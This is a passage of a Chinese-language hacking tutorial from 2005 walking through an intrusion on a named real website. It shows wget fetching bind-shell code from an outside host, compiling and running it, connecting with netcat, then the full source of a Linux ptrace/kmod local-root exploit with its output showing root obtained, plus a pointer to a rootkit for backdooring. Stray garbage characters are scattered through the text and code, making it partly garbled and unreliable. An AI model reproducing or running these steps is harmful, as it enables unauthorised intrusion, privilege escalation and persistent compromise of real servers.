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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,. N" l8 Y7 k& `, V
就可以用wget这个命令来下载了,输入 % t: c, h- D: [$ l0 q
wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思
# @3 x3 K3 j) H+ k就是下载这个shell.c到/tmp目录下,如图6 . I/ d8 o8 P* ]/ E8 R2 b% I0 F* T2 K
然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain1 M4 b/ o6 b8 X2 Q2 z3 e( O7 S
2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs1 x7 E# {& A! `& s& m
这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天! D) S$ } ^* b9 B5 U
在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果) o: S4 M- c. h) \4 F4 T; s
[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain8 ]5 W, {, {$ g3 B* u# g
12gcc: /usr/bin/gcc# c F" u3 R3 z2 Q2 `
好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind
( U8 d0 Z! J& M( ]( {* G编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,
9 q+ i& o% j' d* [/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我
, v3 h2 N9 b( f( O们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000
* V8 E/ b4 h( u2 O& j/ z0 p) h哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found". p/ t2 M8 C8 f3 @
呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,; G+ ?( n" b7 ^9 N. C" {9 S
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 200000 L* G( ~- I- d3 l9 J
(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/* V" F! r; a( Q7 F0 b) B m" ?% w
* Linux kernel ptrace/kmod local root exploit! u* q& T8 F9 ? q/ e
*) k; a- I5 [8 g: J- u
* This code exploits a race condition in kernel/kmod.c, which creates) c0 A! j' y: _. c
* kernel thread in insecure manner. This bug allows to ptrace cloned6 K5 @9 R4 T9 ^
* process, allowing to take control over privileged modprobe binary.. k1 G$ J1 F1 j5 y
*% p' q" E4 k M# i% u: |2 X
* Should work under all current 2.2.x and 2.4.x kernels.
Z5 W8 N {& U' B) K1 `*
, K! T% V4 W5 T2 a$ T* I discovered this stupid bug independently on January 25, 2003, that
( c" S" K1 A" r* is (almost) two month before it was fixed and published by Red Hat
# Z H3 b, f$ ?1 x9 }% N) p7 {* and others.! b; N& |3 m6 _) Q) i: m1 p2 g7 I
* $ h4 h' c2 T0 z
* Wojciech Purczynski <cliph@isec.pl>
7 v& g y2 b6 O/ k P5 V*3 [8 j5 A5 b2 ?6 E8 S
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*6 N1 X' ^; q, {4 E, N
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY9 r$ \6 s1 q* I% ~5 Y3 \+ e! z
*
9 P: D4 J) v& O, o2 A6 K8 i* x# m* (c) 2003 Copyright by iSEC Security Research
+ K$ Z: y) c+ W) i: v' H*/ #include 5 C* y: d) N% H+ \* L
#include 0 V/ l5 `2 K/ M
#include + V; H! S m* R. P
#include
7 b3 l3 x; I5 F$ A; Z4 w#include
5 X- Q& S d4 n! ^#include G2 l2 p; d7 t% \& z) }$ a6 c
#include
9 T" G3 Z" l! n$ N! x( v7 m' }#include 9 X+ F6 Q$ ?: O' X/ I$ C
#include
4 x/ h+ u3 h/ k0 n M! u* v6 y#include 6 s8 f7 x' H( U! }0 a! @
#include
4 t/ N) f! Z+ r+ N- O4 S2 Y4 a#include % q% H( D+ _: i6 f
#include 5 r p4 t# s, G/ U( F
#include ( y" U2 c% z( i/ t2 D
#include ' d& G& ^# ~' A# f8 J3 k
#include char cliphcode[] =4 b3 u" y* E# b+ W2 O
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"& n$ ?. Z2 h1 q
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"& H" M. |: ^: | y2 {; U
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d": }- L2 [8 z1 O1 w
"\x00\x00\xcd\x80\x89\xd0\x89\xd3", g" k/ w! \1 S, ] ^% W) p
"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;
: d: R" r4 f4 j8 ?: `; zpid_t child = 1; v; k& T. I& {, G
pid_t victim = 1;
2 k9 R$ T- v) v9 t3 v$ Dvolatile int gotchild = 0; void fatal(char * msg)9 p) s" y. R, W
{9 C* o' W0 }( ]& ?3 P, ?
perror(msg);3 y: x" W6 A9 J& |2 R ]+ T
kill(parent, SIGKILL);6 P/ V+ ^* e0 C7 P( |+ j
kill(child, SIGKILL);" M0 [ g: h' ?% d
kill(victim, SIGKILL);6 A+ F+ R: |" }2 I* y/ C2 {5 Y
} void putcode(unsigned long * dst), { Y" P7 `4 r% h2 G
{
9 L$ Z5 {* n9 B E; p$ P9 [char buf[MAXPATHLEN + CODE_SIZE];
2 [1 ]6 B# f( I4 q' _* hunsigned long * src;/ i4 \: {: e/ `
int i, len; memcpy(buf, cliphcode, CODE_SIZE);
! p5 c/ a B9 W7 B+ blen = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);* Q) q+ [! `/ _" {' A$ B7 S! H3 x
if (len == -1)2 [1 r: F. M; v! c# `
fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;# I |$ z& S, K8 e9 ?/ W: e" b
buf[len] = '\0'; src = (unsigned long*) buf;8 J L6 \+ Y( Q* |7 O# X
for (i = 0; i < len; i += 4)
' t g7 ^) s2 H$ @% ~' Q( U8 bif (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)* i; t, g, j8 `" A& I
fatal("[-] Unable to write shellcode");
$ l4 B8 V; M1 `} void sigchld(int signo)
+ u! r# L1 c1 ]" l' Q: J{% D& q' \7 P9 C
struct user_regs_struct regs; if (gotchild++ == 0)
! }$ V% }( A7 wreturn; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)& t$ \' q2 W$ e3 h7 k' m1 l
fatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)+ H0 E* x. \/ g* Y
fatal("[-] Unable to detach from victim"); exit(0);
}! V7 D& |, Y, m6 b1 t: x} void sigalrm(int signo)
% j6 n2 N6 Z- d$ A- m$ Y: U4 {8 o{. ?+ B: X3 {* u$ O9 h; h; n' O
errno = ECANCELED;
: C& R2 A. c' S) V9 y3 u5 B+ Jfatal("[-] Fatal error");
2 Y4 b0 Z. s2 y) }8 E7 u2 M. u} void do_child(void), Z: V2 h( y" m$ F8 i
{$ `" T+ m/ z- t: I% P3 o
int err; child = getpid();/ e1 P# ]& c$ d* O6 L2 N
victim = child + 1; signal(SIGCHLD, sigchld); do7 Q1 w% b z1 [, N( R0 R9 G
err = ptrace(PTRACE_ATTACH, victim, 0, 0);& _" y( h9 s f, \0 Q4 o
while (err == -1 && errno == ESRCH); if (err == -1)# K) w. q2 L3 q7 m4 a. l% l
fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);
% M$ c1 u5 f4 u! ?- c% i$ Rwhile (!gotchild) ;7 |1 K4 W8 w. ~$ V: F; z7 I) @
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)8 R2 T. j. Q ~. W0 l
fatal("[-] Unable to setup syscall trace");' B( G& Y+ v; s, n- o3 z$ R
fprintf(stderr, "[+] Waiting for signal\n"); for(;;);
. X# }5 R7 I" f( E& o5 a, L} void do_parent(char * progname)6 K# e7 q; j- ?. E0 u
{
, k0 @" h+ z- [- X# ostruct stat st;
3 \1 O; U! a4 X+ gint err;5 Z6 ^8 s9 @( I, L/ Y4 U
errno = 0;2 P" F. K' |5 i) y2 w: S0 T: \# o
socket(AF_SECURITY, SOCK_STREAM, 1);
: s& E1 w% X+ ^" S$ M6 ~' h7 r1 z p9 ddo {
: z4 G- C2 k% |! Jerr = stat(progname, &st);
. C4 E$ ~# f, g N9 D; ?} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1); _# j% {, c. M9 e- R
fatal("[-] Unable to stat myself"); alarm(0);
7 O- w5 ^6 g/ m4 Y+ q4 y% Z: Ksystem(progname);' r3 P7 X7 K+ L2 y7 ?
} void prepare(void)
: R$ x5 X/ T+ ]- k{% q9 I0 _. G, B6 ?2 F1 ?" I1 R* ]
if (geteuid() == 0) {; U, u! X: R3 ^% }% N' d7 z3 o
initgroups("root", 0);7 T- h% C7 x1 q+ @3 m4 |% e* @( ^
setgid(0);2 m9 f, q& a( ?0 k0 G% x3 U6 ?
setuid(0);
7 H% B/ n! F, G4 w# Rexecl(_PATH_BSHELL, _PATH_BSHELL, NULL);' K0 Y( U" T4 K5 v5 Q
fatal("[-] Unable to spawn shell");# }0 Z$ ~9 V- P( K+ p
}1 i' |. l6 e& f' l. X- n
} int main(int argc, char ** argv)
, P$ D. d; v4 z2 {; T8 n{
0 Z- N4 p( p3 B* @! K7 lprepare();% z# H. X& z8 m: m, [' Q) d+ G
signal(SIGALRM, sigalrm); l2 Q- `+ @0 [' j8 t: X4 i9 H* X
alarm(10); parent = getpid();: H0 g" P" z# o( ?2 ?# a
child = fork();( C3 u) g, j" T, f
victim = child + 1; if (child == -1)% u" [/ y1 q! h3 [4 }
fatal("[-] Unable to fork"); if (child == 0)6 T0 O! U. ^0 I' l/ k. d
do_child();* e# g. a* N/ |4 F3 m
else
' }% J9 u1 g; O/ ]' a) [do_parent(argv[0]); return 0;. K& {/ Q P1 z9 B+ {
}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |